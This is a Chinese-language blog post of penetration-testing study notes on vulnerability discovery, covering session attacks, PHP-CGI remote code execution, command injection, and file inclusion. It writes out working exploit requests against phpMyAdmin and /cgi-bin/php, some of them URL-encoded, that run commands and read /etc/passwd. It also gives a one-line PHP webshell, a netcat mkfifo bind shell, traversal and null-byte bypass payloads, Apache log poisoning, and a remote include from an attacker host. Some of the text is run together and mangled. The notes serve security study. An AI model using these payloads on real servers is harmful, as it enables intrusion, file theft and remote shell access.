微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

【安全牛学习笔记】漏洞挖掘

漏洞本质

  数据与指令的混淆
  对用户输入信息过滤不严,误将指令当做数据

漏洞挖掘原则

所有变量 所有头

cookie中的变量 逐个变量删除筛选

身份认证

弱口令/基于字典的爆破

密码嗅探

sessionID xss

嗅探sessionID长期不变 通过算法预测sessionID

PHPmyadmin远程命令执行低版本的PHP存在此漏洞

利用代码

POSThttp://1.1.1.1/PHPMyAdmin/?-d+allow_url_include%3d1+-d +auto_prepend_file%3dPHP://inputHTTP/1.1
Host:1.1.1.1
<?PHP

passthru('id'); die();
?>

利用方式:可用burpsuite提交post请求

/cgi-bin/PHP 漏洞
Ubuntu / debian认安装PHP5-cgi

可直接访问 /cgi-bin/PHP5/cgi-bin/PHP利用代码

POST/cgi-bin/PHP?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E %63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D %6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C %61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F %66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F %62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F %70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E %70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F %72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E %72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+ %2D%6EHTTP/1.1

Host:123
<?PHP echosystem('cat/etc/passwd'); ?>

利用方式:可用burpsuite提交post请求

PHP远程命令执行建立会话

写入webshellecho"<?PHP\$cmd=\$_GET["cmd"];system(\$cmd);?>">/var/www/a.PHP

PHP反弹shellshell路径

/usr/share/webshells/PHP/PHP-reverse-shell.PHP

监听端口提供shell在目标机器上执行

mkfifo/tmp/pipe;sh/tmp/pipe|nc-nlp4444>/tmp/pipe

使用nc连接,可获得shell命令执行

应用程序直接调用操作系统功能用户输入未作严格过滤,使得攻击者可以在远程服务器上执行系统命令 使用; & && | || 等绕过限制

目录遍历/文件包含

directorytraversal/fileinclude

应用程序功能操作文件,限制不严导致访问web目录以外的文件
directorytraversal不同,列出所有文件的漏洞为 directorybrowsing,也

称作 pathbrowsing pathtraversal文件包含分为本地文件包含(LFI)和远程文件包含(RFI)

特征:

?page=a.PHP ?home=b.html ?file=content

不绝对测试方法:

?file=../../../etc/passwd
?page=file:///etc/passwd
�C使用绝对路径
?home=main.cgi
?page=http://1.1.1.1/a.PHP
�C远程文件引用http://1.1.1.1/../../../../file.txt �C使用多个 ../混淆绕过

绕过字符过滤
.%00 �C 绕过文件扩展名过滤

?file=a.doc%00.PHP使用多种编码尝试 asciiurlbase64

不同操作系统路径特征字符unix系统

根目录 /目录层级目录 /

windows \ /

编码

url编码,双层url编码unicode/utf-8编码

其他系统可能用到的路径

-file.txt... -file.txt<spaces> -file.txt""" -file.txt<<<>>>< -./././file.txt -nonexistant/../file.txt

-UNC路径:\\1.1.1.1\path\to\file.txt注意存在于cookie中的文件引用

试例代码

<?PHP
$template="index.PHP"; if(is_set($_COOKIE['template']))

$template=$_COOKIE['template']; include("/home/user/PHPguru/template/".$template); ?>

攻击代码

GET/vulnerable.PHPHTTP/1.0 Cookie:template=../../../../../../etc/passwd

本地文件包含LFI查看文件

代码执行 需web应用的账户有权限访问/var/log/apache2/access.log

通过nc连接远程服务器80端口,向目标服务器的log文件中插入如下代码<?PHPechoshell_exec($_GET['cmd']);?>

构造地址引用apachelog文件并提供cmd参数即可远程执行代码

远程文件包含RFI概率小于LFI,但更容易被利用

漏洞利用:

构造请求使目标服务器引用攻击者准备的恶意脚本,便可将恶意脚本在远程服务端执 行,执行恶意操作或者获得一个shell 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐